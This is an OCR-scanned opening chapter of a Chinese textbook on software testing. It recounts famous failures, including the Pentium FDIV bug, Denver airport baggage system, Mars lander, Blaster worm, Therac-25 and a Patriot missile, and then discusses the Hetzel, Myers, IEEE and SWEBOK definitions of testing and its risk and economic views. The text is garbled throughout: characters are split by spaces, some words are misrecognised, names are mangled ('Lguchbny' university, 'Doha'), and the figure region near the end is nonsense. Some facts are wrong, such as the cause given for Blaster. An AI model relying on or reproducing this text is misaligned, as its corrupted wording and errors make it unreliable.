1994 年 ,英特尔 奔腾 CPU 芯片 就 曾经 存在 这 样 一 个 软件 缺陷 ,而 且 被 大 批 生产 出 来 卖 到 
用 户 那 里 ,最 后 ,英特尔 为 自己 处 理 软件 缺陷 的 行为 道歉 并 拿 出 4 亿 多 美元 来 支付 更 换 坏 芯 
的 费用 ,可 见 ,这 个 软件 缺陷 造成 的 损失 有 多 大 ! 
这 个 缺陷 是 美国 弗吉尼亚 州 Lguchbny 大 学 的 Thomas R. Nicely 博士 发 现 的 。 他 在 奔腾 
PC 上 做 除法 实验 时 记录 了 一 个 没 想到 的 结果 。 他 把 发 现 的 问题 放 到 因特网 上 ,随后 引发 了 
一 场 风 暴 , 成 千 上 万 的 人 发 现 了 同样 的 问题 ,以 及 得 出 错误 结果 的 其 他 情形 。 万 幸 的 是 ,这 种 
情况 很 少见 , 仅 在 进行 精度 要 求 很 高 的 数学 .科学 和 工程 计算 中 才 会 导致 错误 。 大 多 数 进行 财 
会 管理 和 商务 应 用 的 用 户 根本 不 会 遇 到 此 类 问题 。 
这 个 故事 不 仅 说 明 软 件 缺陷 所 带 来 的 问题 ,更 重要 的 是 说 明 对 待 软件 缺陷 的 态度 。 
。 英 特 尔 的 软件 测试 工程 师 在 芯片 发 布 之 前 进行 内 部 测试 时 已 经 发 现 了 这 个 问题 ,但 管 
理 层 认为 这 没有 严重 到 一 定 要 修正 ,也 没有 公布 这 个 问题 。 

。 当 软 件 缺 陷 被 发 现时 ,英特尔 通过 新 闻 发 布 和 公开 声明 试图 掩饰 此 问题 的 严重 性 。 

。 受到 压力 时 ,英特尔 承诺 更 换 有 问题 的 芯片 ,但 要 求 用 户 必 须 证 明 自 己 受到 软件 缺陷 
的 影响 。 

结果 和 与 论 大 哗 。 因 特 网 新 闻 组 充斥 着 愤怒 的 客户 要 求 英特尔 解决 问题 的 呼声 。 得 到 这 个 
教训 之 后 ,英特尔 在 网 站 上 报告 已 发 现 的 问题 ,并 认真 对 待 客户 在 因特网 新 闻 组 上 的 反馈 
意见 。 

比 英特尔 公司 损失 更 大 的 是 美国 丹佛 市 的 国际 机 场 。 丹 佛 新 国际 机 场 希望 被 建成 现代 的 
(state-of-the-art) 机 场 , 它 将 拥有 复杂 的 、 计 算 机 控制 的 .自动化 的 包 于 处 理 系统 ,而 且 还 有 
8530km 长 的 光纤 网 络 。 不 幸 的 是 ,在 这 个 包 庄 处 理 系 统 中 存在 一 个 严重 的 程序 缺陷 ,导致 行 
李 箱 被 绞 碎 ,居然 自动 包 庄 车 会 一 直 开 着 往 墙 里 面 钻 。 结 果 ,机场 启用 推迟 16 个 月 ,使 得 预算 
超过 32 亿美 元 ,并 且 废 弃 这 个 自动 化 的 包裹 处 理 系 统 , 使 用 手工 处 理 包 衰 系统 。 


1.1.3 火星 探测 飞船 坠毁 


火星 探测 飞船 坠毁 是 20 世纪 末 发 生 的 悲剧 ,而 这 主要 就 是 由 于 软件 测试 没 做 好 。 仅 仅 由 
于 两 个 测试 小 组 单独 进行 测试 ,没有 进行 很 好 沟通 ,缺少 一 个 集成 测试 的 阶段 ,结果 导致 1999 
年 美国 宇航 局 的 火星 探测 飞船 在 试图 登陆 火星 地 面 时 突然 坠毁 失踪 。 质 量 管理 小 组 观测 到 故 


障 ,并 认定 出 现 误 动 作 的 原因 极 可 能 是 某 一 个 数据 位 被 意外 更 改 。 什 么 情况 下 这 个 数据 位 被 
修改 了 ? 又 为 什么 没有 在 内 部 测试 时 发 现 呢 ? 

从 理论 上 看 ,登陆 计划 被 设计 成 这 样 一 一 在 飞船 降落 到 火星 的 过 程 中 ,降落 伞 将 被 打开 ， 
减缓 飞船 的 下 落 速度 。 降 落 伞 打开 后 的 几 秒 钟 内 ,飞船 的 三 条 腿 将 迅速 撑 开 ,并 在 预定 地 点 着 
陆 。 当 飞船 离 地 面 1800m 时 , 它 将 丢弃 降落 锌 ,点 燃 登 陆 反 推进 器 ,借助 反 推 力 来 不 断 降 低速 
度 , 从 而 可 以 使 飞船 能 缓 缓 降落 地 面 。 

美国 宇航 局 为 了 省 钱 ,简化 了 确定 何 时 关闭 推进 器 的 装置 。 为 了 替代 其 他 太空 船上 使 
的 贵重 雷达 ,在 飞船 的 脚 上 装 了 一 个 廉价 的 触 点 开关 ,在 计算 机 中 设置 一 个 数据 位 来 关 掉 燃 
料 。 很 简单 ,飞船 的 脚 不 "着 地 ”, 引 擎 就 会 点 火 。 不 幸 的 是 ,质量 管理 小 组 在 事后 的 测试 中 发 
现 , 当 飞船 的 脚 迅速 摆 开 准备 着 陆 时 ,机械 震 动 在 大 多 数 情况 下 也 会 触发 着 地 开关 ,设置 错误 
的 数据 位 。 设 想 飞 船 开始 着 陆 时 ,计算 机 极 有 可 能 关闭 推进 器 ,而 火星 登陆 飞船 下 坠 1800m 
之 后 没有 反 推进 器 的 帮助 , 冲 向 地 面 ,必然 会 撞 成 碎片 。 

为 什么 会 出 现 这 样 的 结果 ? 原因 很 简单 。 登 陆 飞 船 经 过 了 多 个 小 组 测试 。 其 中 一 个 小 组 
测试 飞船 的 脚 落地 过 程 , 但 从 没有 检查 那个 关键 的 数据 位 ,因为 那 不 是 这 个 小 组 负责 的 范围 
另 一 个 小 组 测试 着 陆 过程 的 其 他 部 分 ,但 这 个 小 组 总 是 在 开始 测试 之 前 重 置 计算 机 、 清 除数 据 
位 。 双 方 本 身 的 工作 都 没什么 问题 ,就 是 没有 合 在 一 起 测试 ,其 接口 没有 被 测 ,而 问题 就 在 这 
里 ,后 一 个 小 组 没有 注意 到 数据 位 已 经 被 错误 设 定 。 


1.1.4 更 多 的 悲剧 


新 浪 科 技 引 用 《商业 周刊 网 站 在 “网 络 安全 "专题 中 的 文章 ,对 “冲击 波 ” 计 算 机 病毒 进行 
了 分 析 。2003 年 8 月 11 日,“ 冲 击 波 " 计 算 机 病毒 首先 在 美国 发 作 , 使 美国 的 政府 机 关 , 企 业 
及 个 人 用 户 的 成 千 上 万 的 计算 机 受到 攻击 。 随 后 ,冲击 波 蠕虫 很 快 在 因特网 上 广泛 传播 ,中 
国 . 日 本 和 欧洲 等 国家 也 相继 受到 不 断 的 攻击 ,结果 使 十 几 万 台 邮 件 服务 器 瘫痪 ,给 整个 世界 
范围 内 的 Internet 通信 带 来 惨重 损失 。 

制造 冲击 波 蠕虫 的 黑客 仅 用 了 三 周 时 间 就 制造 了 这 个 恶毒 的 程序 ,冲击波 ”计算 机 病毒 
仅仅 是 利用 微软 Messenger Service 中 的 一 个 缺陷 ,攻破 计算 机 安全 屏障 ,可 使 基于 Windows 
操作 系统 的 计算 机 前 溃 。 该 缺陷 几乎 影响 当前 所 有 微软 Windows 系统 , 它 甚 至 使 安全 专家 产 
生 更 大 的 忧虑 : 独立 的 黑客 们 将 很 快 找到 利用 该 缺陷 控制 大 部 分 计算 机 的 方法 。 随 后 ,微软 
公司 不 得 不 紧急 发 布 补丁 包 , 修 正 这 个 缺陷 。 

软件 缺陷 还 会 造成 更 大 的 悲剧 ,导致 生命 危险 .下 面 就 是 两 个 典型 的 实例 。 

1. 放射 性 设备 治 死 4 个 人 

由 于 放射 性 治疗 仪 Therac-25 中 的 软件 存在 缺陷 ,导致 几 个 癌症 病人 受到 非常 严重 的 过 
量 放射 性 治疗 ,其 中 4 个 人 因此 死亡 。 一 个 独立 的 科学 调查 报告 显示 : 即使 在 加 拿 大 原子 能 
公司 (Atomic Energy of Canada Limited,AECL) 已 经 处 理 了 几 个 特定 的 软件 缺陷 ,这 种 事故 
还 是 发 生 了 。 造 成 这 种 低级 而 致命 的 错误 的 原因 是 缺乏 软件 工程 实践 ,一 个 错误 的 想法 是 软 
件 的 可 靠 性 依赖 于 用 户 的 安全 操作 。 

2. 28 名 美国 士兵 死亡 

美国 爱国 者 导弹 防御 系统 是 主动 战略 防御 ( 即 星球 大 战 ) 系 统 的 简化 版 本 , 它 首 次 被 用 在 
第 一 次 海湾 战争 对 抗 伊 拉克 飞毛腿 导弹 的 防御 作战 中 ,总 体 上 看 效果 不 错 ,赢得 各 界 的 赞誉 。 


但 它 还 是 有 几 次 失利 ,没有 成 功 拦截 伊拉克 飞毛腿 导弹 ,其 中 一 枚 在 沙特 阿拉 伯 的 多 哈 爆炸 的 
飞毛腿 导弹 造成 28 名 美国 土 兵 死亡 。 分 析 专 家 发 现 ,拦截 失败 的 症结 在 于 一 个 软件 缺陷 , 当 
爱国 者 导弹 防御 系统 的 时 钟 累计 运行 超过 14h 后 ,系统 的 跟踪 系统 就 不 准确 。 在 多 哈 袭 击 战 
中 ,爱国 者 导弹 防御 系统 运行 时 间 已 经 累计 超过 一 百 多 个 小 时 ,显然 那 时 系统 的 跟踪 系统 已 经 
很 不 准确 ,从 而 造成 这 种 结果 。 


1.2 为 什么 要 进行 软件 测试 


为 什么 要 进行 软件 测试 ? 答案 很 简单 ,就 是 为 了 保证 软件 质量 。1. 1 节 中 所 介绍 的 软件 
质量 事故 就 说 明了 这 一 点 ,没有 很 好 地 完成 软件 测试 任务 ,产品 的 质量 得 不 到 保证 。 如 果 没 有 
软件 测试 ,就 不 能 了 解 软件 产品 的 质量 。 测 试 是 软件 工程 中 不 可 缺少 的 一 部 分 ,特别 是 当 软 件 
无 处 不 在 、 越 来 越 贴近 人 们 的 生活 和 工作 的 时 候 , 软 件 测试 的 必要 性 就 越 来 越 明 显 。 

对 于 软件 来 讲 ,总 会 存在 或 多 或 少 的 问题 。 在 需求 定义 中 会 出 现 问 题 ,在 软件 设计 和 编程 
中 同样 会 存在 问题 。 软 件 系统 在 构造 过 程 中 ,不 论 采用 什么 技术 和 什么 方法 ,软件 问题 仍然 不 
可 避免 。 采 用 成 熟 的 编程 语言 .先进 的 开发 方式 、 完 善 的 开发 过 程 ,可 以 减少 错误 的 引入 ,但 是 
不 可 能 完全 杜绝 软件 中 的 错误 ,这 些 引 入 的 错误 需要 测试 来 找 出 ,软件 中 的 错误 密度 也 需要 测 
试 来 进行 评估 。 

软件 测试 是 软件 质量 保证 的 关键 步 又。 美国 质量 保证 研究 所 对 软件 测试 的 研究 结果 表 
明 : 越 早 发 现 软件 中 存在 的 问题 ,开发 费用 就 越 低 ; 在 编码 后 修改 软件 缺陷 的 成 本 是 编码 前 
的 10 倍 , 在 产品 交付 后 修改 软件 缺陷 的 成 本 是 交付 前 的 10 倍 ; 软件 质量 越 高 ,软件 发 布 后 的 
维护 费用 越 低 。 另 外 ,根据 对 国际 著名 IT 企业 的 统计 ,它们 的 软件 测试 费用 占 整 个 软件 工程 
所 有 研发 费用 的 50% 以 上 。 

自 有 程序 设计 的 那天 起 ,测试 就 一 直 伴 随 着 软件 开发 过 程 。 测 试 是 所 有 工程 学 科 的 基本 
组 成 单元 ,自然 也 是 软件 开发 的 重要 组 成 部 分 。 软 件 测试 在 产品 开发 中 占据 着 相当 重要 的 位 
置 , 也 是 软件 行业 几 十 年 的 实践 所 证 明 的 一 个 道理 ,其 中 也 包含 从 大 量 的 质量 事故 教训 中 所 获 
得 的 教训 和 经 验 。 以 微软 公司 为 例 ,大 家 可 以 感觉 到 ,微软 以 前 的 产品 (如 Windows 95 和 
Windows 98) 时 时 会 发 生 崩 溃 、 死 机 等 现象 ,而 今天 的 产品 (如 Windows 7 和 Windows8) 则 比 
多 年 前 的 产品 功能 要 强大 得 多 ,稳定 性 不 仅 没 有 下 降 , 反 而 好 得 多 。 为 什么 呢 ? 这 是 因为 微软 
公司 重视 测试 工作 ,在 测试 上 投入 比较 大 ,微软 总 共 拥 有 一 万 多 名 专业 的 测试 人 员 。 其 次 , 测 
试 人 员 越 来 越 有 经 验 , 测 试 流程 也 越 来 越 规范 ,测试 工作 也 就 越 有 效 。 正 是 由 于 清晰 地 认识 到 
了 软件 测试 的 重要 性 ,微软 的 产品 质量 才 有 了 明显 的 提高 。 

最 初 , 微 软 公司 与 大 家 一 样 ,认为 测试 不 重要 ,重要 的 是 开发 人 员 。 通 常 , 一 个 团队 中 有 几 
百 个 开发 人 员 ,但 只 有 几 个 测试 人 员 ,并 且 开 发 人 员 的 待遇 要 比 测试 人 员 高 很 多 。 经 过 多 年 的 
实践 后 ,微软 公司 发 现 ,去 修正 那些 出 现 问题 的 产品 所 花 的 钱 , 比 多 聘用 几 个 测试 人 员 的 费 
要 高 得 多 ,所 以 ,开始 不 断 地 聘用 测试 人 员 。 同 时 ,现在 测试 人 员 的 待遇 和 开发 人 员 的 待遇 非 
常 接近 ,测试 人 员 水 平 越 高 ,找到 软件 问题 的 时 间 就 越 早 ,软件 就 越 容 易 更 正 ,产品 发 布 之 后 越 
稳定 ,公司 赚 的 钱 也 越 多 。 这 也 是 多 数 软 件 公司 慢 慢 悟 出 来 的 道理 ,软件 测试 是 软件 产品 开发 
中 最 重要 的 几 个 环节 之 一 。 


1.3 什么 是 软件 测试 


在 购买 商品 时 ,会 发 现 商品 上 贴 有 一 个 “QC” 标 签 ,这 就 是 质量 检验 (Quality Control) 。 
软件 测试 ,就 好 比 制造 工厂 的 质量 检验 ,是 对 软件 产品 和 阶段 性 工作 成 果 进 行 质量 检验 ,力求 
发 现 其 中 的 各 种 缺陷 ,并 督促 缺陷 得 到 修正 ,从 而 控制 软件 产品 的 质量 。 所 以 ,软件 测试 是 软 
件 公 司 致力 于 提高 软件 产品 质量 的 重要 手段 之 一 。 但 要 给 软件 测试 下 个 定义 ,可 能 不 是 一 件 
容易 的 事情 。 必 须 了 解 软件 测试 学 科 形 成 的 过 程 ,理解 软件 测试 的 正 反 两 个 方面 的 含义 ,分 析 
软件 测试 的 不 同 观点 ,最 终 给 出 软件 测试 一 个 完整 的 定义 。 


1.3.1 软件 测试 学 科 的 形成 


在 早期 软件 开发 过 程 中 ,软件 开发 等 于 编程 ,软件 工程 的 概念 和 思想 还 没有 形成 ,也 就 没 
有 明确 的 分 工 , 软 件 开 发 的 过 程 随意 ,混乱 无 序 ,测试 和 调试 混淆 在 一 起 ,没有 独立 的 测试 ,所 
有 的 工作 基本 都 是 由 程序 员 完 成 ,一 面 写 程序 ,一 面 调试 程序 。 直 到 1957 年 ,软件 测试 才 开始 
区 别 于 调试 ,作为 一 种 发 现 软件 缺陷 的 独立 活动 而 存在 。 但 这 时 ,测试 的 活动 往往 发 生 在 代码 
完成 之 后 ,测试 被 认为 是 一 种 产品 检验 的 手段 ,成 为 软件 生命 周期 中 最 后 一 项 活动 而 进行 。 在 
这 一 时 期 ,测试 的 投入 还 很 少 ,也 缺乏 有 效 的 测试 方法 ,所 以 ,软件 产品 交付 到 客户 那里 ,仍然 
存在 很 多 问题 ,软件 产品 的 质量 无 法 保证 。 

1972 年 ,软件 测试 领域 的 先驱 Bill Hetzel 博士 (代表 论著 (软件 测试 完全 指南 》, The 
Complete Guide to Software Testing ,1993) ,在 美国 的 北 卡罗来纳 大 学 (University of North 
Carolina) 组 织 了 历史 上 第 一 次 正式 的 关于 软件 测试 的 会 议 。 从 此 以 后 ,软件 测试 开始 频繁 出 
现在 软件 工程 的 研究 和 实践 中 ,也 可 以 认为 ,软件 测试 作为 一 个 学 科 正 式 诞生 了 。 在 1973 年 ， 
Bill Hetzel 正式 为 软件 测试 下 了 一 个 定义 :“ 软 件 测试 就 是 为 程序 能 够 按 预期 设想 运行 而 建 
立足 够 的 信心 *。Bill Hetzel 觉得 原先 的 定义 不 够 清楚 ,理解 起 来 比较 困难 ,所 以 在 1983 年 将 
软件 测试 的 定义 修改 为 :“ 软 件 测试 就 是 一 系列 活动 ,这 些 活动 是 为 了 评估 一 个 程序 或 软件 系 
统 的 特性 或 能 力 ,并 确定 其 是 否 达到 了 预期 结果 ”。 在 上 述 软 件 测 试 定义 中 ,至 少 可 以 看 到 以 
下 几 点 。 

(1) 测试 是 试图 验证 软件 是 “工作 的 ”, 也 就 是 验证 软件 功能 执行 的 正确 性 。 

(2) 测试 的 目的 也 就 是 验证 软件 是 否 符合 事先 定义 的 要 求 。 

(3) 测试 的 活动 是 以 人 们 的 “设想 ”或 “预期 的 结果 ”为 依据 。 这 里 的 “设想 ”或 “预期 的 结 
果 ” 是 指 需 求 定 义 、 软 件 设计 的 结果 。 

在 此 之 后 ,软件 测试 有 了 很 大 的 发 展 ,不 仅 制定 了 国际 标准 (IEEE/ANSI) ,而 且 和 软件 开 
发 流程 融合 成 一 体 。 软 件 测试 是 软件 开发 不 可 缺少 的 一 部 分 ,由 独立 的 团队 承担 相应 的 工作 ， 
在 软件 企业 举足轻重 。 软 件 测试 也 逐渐 形成 一 门 独立 的 学 科 , 在 许多 大 学 里 开设 相应 的 专业 
或 课程 , 越 来 越 获得 学 术 界 的 关注 。 


1.3.2 正 反 两 方面 的 争辩 


Bill Hetzel 可 以 说 是 软件 测试 的 莫 基 人 ,但 他 的 观点 还 是 受到 业界 一 些 权威 的 质疑 和 挑 
战 ,其 中 代表 人 物 要 数 Glenford J. Myers( 代 表 论 著 《 软 件 测试 的 艺术 》, The Art of Software 
Testing,1979)。Myers 认为 测试 不 应 该 着 眼 于 验证 软件 是 工作 的 ,相反 ,应 该 用 逆向 思维 去 


发 现 尽 可 能 多 的 错误 。 他 认为 ,从 心理 学 的 角度 看 ,如 果 将 “验证 软件 是 工作 的 ”作为 测试 的 目 
的 ,非常 不 利于 测试 人 员 发 现 软件 的 错误 。 因 此 ,1979 年 他 给 出 了 软件 测试 的 不 同 的 定义 ; 
“测试 是 为 了 发 现 错误 而 执行 一 个 程序 或 者 系统 的 过 程 ”。 从 这 个 定义 可 以 看 出 ,假定 软件 总 
是 有 错误 的 ,测试 就 是 为 了 发 现 缺陷 ,而 不 是 证 明 程 序 无 错误 。 发 现 了 问题 说 明 程序 有 错 , 但 
如 果 没 有 发 现 问题 ,并 不 能 说 明 问 题 就 不 存在 ,而 是 至 今 未 发 现 软件 中 所 潜在 的 问题 。 

从 这 个 定义 延伸 出 去 ,Myers 认为 ,一 个 成 功 的 测试 必须 是 发 现 了 软件 问题 的 测试 ,否则 
测试 就 没有 价值 。 这 就 如 同一 个 病人 (因为 是 病人 ,假定 确实 有 病 ) ,到 医院 去 做 相应 的 检查 ， 
结果 没有 发 现 问题 , 那 说 明 这 次 医疗 检查 是 失败 的 ,浪费 了 病人 的 时 间 和 钱 。Myers 提出 的 
“测试 的 目的 是 证 伪 ” 这 一 概念 ,和 Bill Hetzel 的 观点 "测试 是 试图 验证 软件 是 正确 的 ? 针 锋 相 
对 ,为 软件 测试 的 发 展 指出 了 不 同 的 努力 方向 ,产生 了 新 的 软件 测试 理论 和 方法 。 

Myers 的 定义 是 引导 人 们 证 明 软 件 是 “不 工作 的 ”, 以 反 向 思维 方式 ,不 断 思考 开发 人 员 理 
解 的 误区 不 良 的 习惯 ,程序 代码 的 边界 、 无 效 数据 的 输入 以 及 系统 的 弱点 ,试图 破坏 系统 、 摧 
毁 系 统 ,目标 就 是 发 现 系统 中 各 种 各 样 的 问题 。 

人 类 的 活动 具有 高 度 的 目的 性 ,建立 适当 的 目标 具有 重要 的 心理 作用 。 如 果 测 试 目的 是 
为 了 证 明 程序 里 面 没 有 错误 ,潜意识 里 就 可 能 不 自觉 地 朝 这 个 方向 去 做 ,在 进行 测试 的 过 程 
中 ,就 不 会 刻意 选择 一 些 尽 量 使 程序 出 错 的 测试 数据 ,而 选择 一 些 常用 的 数据 ,测试 容易 通过 ， 
而 不 容易 发 现 问题 。 如 果 测 试 的 目标 是 要 证 明 程序 中 有 错 , 那 我 们 会 设法 选择 一 些 易于 发 现 
程序 错误 的 测试 数据 ,这 样 ,测试 的 结果 会 更 有 意义 ,对 软件 质量 的 提高 会 有 更 大 的 帮助 。 


1.3.3 软件 测试 的 定义 


Glenford J， Myers 的 软件 测试 定义 ,虽然 受到 业界 的 普遍 认同 ,但 也 存在 一 些 问题 ， 
例如 ， 

(1) 如 果 只 强调 测试 的 目的 是 寻找 错误 ,就 可 能 使 测试 人 员 容 易 忽视 软件 产品 的 某 些 基 
本 需求 或 客户 的 实际 需求 ,测试 活动 可 能 会 存在 一 定 的 随意 性 和 盲目 性 。 

(2) 如 果 只 强调 测试 的 目的 是 寻找 错误 ,使 开发 人 员 容 易 产 生 一 个 错误 的 印象 ,认为 测试 
人 员 的 工作 就 是 挑 毛病 的 。 

除 此 之 外 ,Glenford J. Myers 的 软件 测试 定义 还 强调 测试 是 执行 一 个 程序 或 者 系统 的 过 
程 ,也 就 是 说 ,测试 活动 是 在 程序 代码 完成 之 后 进行 ,而 不 是 贯穿 整个 软件 开发 过 程 的 活动 , 即 
软件 测试 不 包括 软件 需求 评审 、 软 件 设计 评审 和 软件 代码 静态 检查 等 一 系列 活动 ,从 而 使 软件 
测试 的 定义 具有 局 限 性 和 片面 性 。 

Bill Hetzel 的 软件 测试 定义 可 能 使 软件 测试 活动 的 效率 降低 ,甚至 缺乏 有 效 的 方法 进行 
测试 活动 。 但 是 ,Bill Hetzel 的 软件 测试 定义 也 得 到 了 国际 标准 的 采纳 ,例如 ,在 IEEE 1983 
of IEEE Standard 729 中 对 软件 测试 下 了 一 个 标准 的 定义 : 使 用 人 工 或 自动 手段 来 运行 或 测 
定 某 个 系统 的 过 程 , 其 目的 在 于 检验 它 是 否 满足 规定 的 需求 或 是 弄 清 预期 结果 与 实际 结果 之 
间 的 差别 。 这 里 明确 地 提出 了 软件 测试 是 以 检验 是 否 满足 需求 为 目标 。 

这 正 反 两 方面 的 观点 是 从 不 同 的 角度 看 问题 ,一 方面 通过 测试 来 保证 质量 , 另 一 方面 又 要 
改进 测试 方法 和 提高 软件 测试 的 效率 ,两 者 应 该 相辅相成 。 因 为 测试 不 能 证 明 软 件 没 有 丝毫 
错误 ,不 能 确认 所 有 的 功能 可 以 正常 工作 ,所 以 测试 要 尽 可 能 找 出 那些 不 能 正常 工作 .不一致 
性 的 问题 。 软 件 测试 就 是 在 这 两 者 之 间 获 得 平衡 ,但 对 于 不 同 的 应 用 领域 ,两 者 的 比重 是 不 一 
样 的。 例如 ,国防 、 航 天 银行 等 软件 系统 ,承受 不 了 系统 的 任何 一 次 失效 ,因为 这 些 失 效 都 完 


全 有 可 能 导致 灾难 性 的 事件 ,所 以 强调 前 者 ,以 保证 非常 高 的 软件 质量 。 而 一 般 的 软件 应 用 或 
服务 , 则 可 以 强调 后 者 ,质量 目标 设置 在 “用 户 可 接受 水 平 ”, 以 降低 软件 开发 成 本 ,加 快 软件 发 
布 速度 ,有 利于 市 场 的 扩张 。 

在 SWEBOK 3.0(2014 年 发 布 的 软件 工程 知识 体系 ) 中 ,将 软件 测试 定义 为 "从 一 个 通常 
是 无 限 的 执行 域 (集合 ) 中 选择 合适 的 有限 的 测试 用 例 ,对 程序 所 期 望 的 行为 进行 动态 验证 的 
活动 过 程 ”。 这 个 定义 让 我 们 关注 期 望 的 行为 , 即 用 户 的 期 望 ,而 且 这 个 定义 也 揭示 了 测试 具 
有 一 定 的 采样 特性 ,只 能 完成 无 限 操作 的 集合 中 一 个 子 集 的 验证 工作 ,通常 无 法 进行 百分之百 
的 测试 ,测试 总 是 有 风险 的 。 这 里 还 强调 测试 是 对 程序 行为 的 动态 验证 ,而 把 静态 验证 ,主要 
是 评审 活动 , 归 为 “质量 管理 ”。 这 里 的 “软件 测试 "可 以 说 是 狭义 的 软件 测试 ,而 广义 的 软件 测 
试 是 包含 静态 测试 (静态 验证 ) 和 动态 测试 (动态 验证 ) ,而 且 测 试 中 的 静态 验证 也 只 局 限于 对 
需求 (文档 ) ,设计 (文档 ) 和 代码 的 验证 , 即 局 限于 对 产品 的 验证 。 而 在 一 些 国际 标准 中 ,验证 
的 范围 更 大 ,包括 评审 、 分 析 和 测试 。 这 里 的 评审 不 仅 包含 对 产品 的 评审 ,而 且 包 含 对 流程 评 
审 、 对 管理 评审 和 对 技术 的 评审 。 这 里 的 测试 和 SWEBOK 3. 0 是 一 致 的 ,属于 动态 验证 , 带 
有 一 定 “ 试 验 ” 的 性 质 , 不 包括 评审 。 


1.3.4 软件 测试 的 其 他 观点 


前 面 已 给 出 软件 测试 的 定义 ,但 是 为 了 更 好 地 全 面 理解 软件 测试 ,还 可 以 从 其 他 的 观点 来 
分 析 软 件 测 试 , 其 中 最 突出 的 观点 就 是 风险 的 观点 和 经 济 的 观点 。 因 为 没有 办 法 证 明 软 件 是 
正确 的 ,软件 测试 本 身 总 是 具有 一 定 的 风险 性 ,所 以 软件 测试 被 认为 是 对 软件 系统 中 潜在 的 各 
种 风险 进行 评估 的 活动 。 从 风险 的 观点 看 ,软件 测试 就 是 对 风险 的 不 断 评估 ,引导 软件 开发 的 
工作 ,进而 将 最 终 发 布 的 软件 所 存在 的 风险 降 到 最 低 。 基 于 风险 的 软件 测试 可 以 被 看 作 是 一 
个 动态 的 监控 过 程 , 对 软件 开发 全 过 程 进 行 检测 ,随时 发 现 不 健康 的 征兆 ,发 现 问题 .报告 问 
题 , 并 重新 评估 新 的 风险 ,设置 新 的 监控 基准 ,不 断 地 持续 下 去 ,包括 回归 测试 。 这 时 ,软件 测 
试 可 以 完全 看 作 是 软件 质量 控制 的 过 程 。 

测试 的 风险 观点 也 可 以 不 断 提醒 我 们 ,在 尽力 做 好 测试 工作 的 前 提 下 ,工作 有 所 侧重 ,在 
风险 和 开发 周期 限制 上 获得 平衡 。 首 先 评估 测试 的 风险 ,每 个 功能 出 问题 的 概率 有 多 大 ? 根 
据 Pareto 原则 (也 叫 80/20 原则 ) ,哪些 功能 是 用 户 最 常用 的 20% 功 能 ?如 果 某 个 功能 出 现 问 
题 ,其 对 用 户 的 影响 又 有 多 大 ? 然后 根据 风险 大 小 确定 测试 的 优先 级 。 优 先 级 高 的 功能 特性 ， 
测试 优先 得 到 执行 。 一 般 来 讲 , 针 对 用 户 最 常用 的 20% 功 能 (优先 级 高 ) 的 测试 会 得 到 完全 
地 ,充分 地 执行 ,而 低 优先 级 功能 的 测试 (另外 用 户 不 常用 的 80% 功 能 ) 就 可 能 由 于 时 间或 经 
费 的 限制 ,测试 的 要 求 降低 减少 测试 工作 量 。 

上 面 的 叙述 ,也 体现 了 测试 的 经 济 观点 ,所 以 测试 的 风险 观点 和 经 济 观 点 有 着 千 丝 万 缕 的 
关系 。 测 试 的 经 济 观 点 就 是 以 最 小 的 代价 获得 最 高 的 软件 产品 质量 , 正 是 风险 观点 在 软件 开 
发 成 本 上 的 体现 ,通过 风险 的 控制 来 降低 软件 开发 成 本 。 经 济 观点 也 要 求 软件 测试 尽早 开展 
工作 ,发 现 缺 陷 越 早 ,返工 的 工作 量 就 越 小 ,所 造成 的 损失 就 越 小 。 所 以 ,从 经 济 观点 出 发 , 测 
试 不 能 在 软件 代码 写 完 之 后 才 开始 ,而 是 从 项 目 启动 的 第 一 天 起 ,测试 人 员 就 参与 进去 ,尽快 
尽早 地 发 现 更 多 的 缺陷 ,并 督促 和 帮助 开发 人 员 修 正 缺陷 。 软 件 测试 的 经 济 学 观点 ,可 以 从 
Boehm 的 著作 《软件 工程 经 济 》(Software Engineering Economics ,1981) 中 得 到 进一步 的 
印证 。 


1.4 测试 和 开发 的 关系 


在 著名 的 软件 瀑布 模型 中 ,如 图 1-1 所 示 , 软件 测试 是 处 在 “编程 "的 下 游 .在 “软件 维护 ” 
的 上 游 , 先 有 编程 .后 有 测试 ,测试 的 位 置 很 清楚 。 
在 梁 布 模型 中 ,测试 只 有 等 到 程序 完成 了 才 可 以 执 “| 本 4 折 小、 


行 ,强调 测试 仅仅 是 对 程序 的 检验 。 从 这 里 可 以 看 设计 NN 

出 ,Glenford J，Myers 的 软件 测试 定义 是 从 瀑布 模 信人 

型 出 发 的 。 但 瀑布 模型 属于 传统 的 软件 工程 ,存在 区 小、 

较 大 的 局 限 性 ,与 软件 开发 的 迭代 思想 .敏捷 方法 存 

在 冲突 ,也 不 符合 当今 软件 工程 的 实际 需求 。 时 间 Se 
需求 分 析 是 在 软件 开发 的 最 前 端 ,也 就 说 明 它 汪汪 家 训 讼 二 室 六 


对 后 期 的 影响 最 大 ,所 以 说 ,软件 需求 分 析 很 重要 ， 

要 想 成 功 开发 一 个 软件 产品 ,首先 要 做 好 需求 分 析 。 但 另 一 方面 ,在 需求 分 析 时 ,往往 很 难 做 
到 彻底 弄 清楚 用 户 对 产品 的 各 项 具体 的 要 求 。 由 于 大 多 数 使 用 或 将 要 使 用 计算 机 产品 的 用 
户 ,不 是 计算 机 方面 的 专业 人 员 ,甚至 对 计算 机 一 点 都 不 了 解 ,所 以 对 计算 机 能 做 哪些 事情 、 不 
能 做 哪些 事情 ,善于 做 哪些 事情 .不 善于 做 哪些 事情 等 都 不 清楚 ,只 能 给 出 软件 的 一 般 性 功能 
或 目标 要 求 , 不 能 提出 具体 的 要 求 , 也 不 能 给 出 规范 的 、 科 学 的 、 详 细 的 输入 和 输出 需求 。 这 也 
是 为 什么 一 直 强 调 做 好 需求 验证 ,软件 测试 人 员 从 项 目 启动 的 第 一 天 就 要 介入 ,认真 对 待 需求 
评审 。 

现在 人 们 普遍 认为 软件 测试 贯穿 着 整个 软件 生命 周期 ,从 需求 评审 ,设计 评审 开始 ,测试 
就 介入 到 软件 产品 的 开发 活动 或 软件 项 目 实施 中 。 测 试 人 员 借 助 于 需求 定义 的 阅读 ,讨论 和 
审查 ,不 仅 发 现 需 求 定义 的 问题 ,而 且 可 以 了 解 产 品 的 设计 特性 、 用 户 的 真正 需求 ,确定 测试 目 
标 ,准备 用 例 (Use Case) 并 策划 测试 活动 。 同 理 , 在 软件 设计 阶段 ,测试 人 员 可 以 了 解 系统 是 
如 何 实现 的 、 构 建 在 什么 样 的 运行 平台 之 上 等 各 类 问题 ,这 样 可 以 衡量 系统 的 可 测试 性 ,检查 
系统 的 设计 是 否 符合 系统 的 可 靠 性 要 求 .是否 存 在 单 点 实效 的 严重 问题 等 。 说 明 软 件 测试 和 
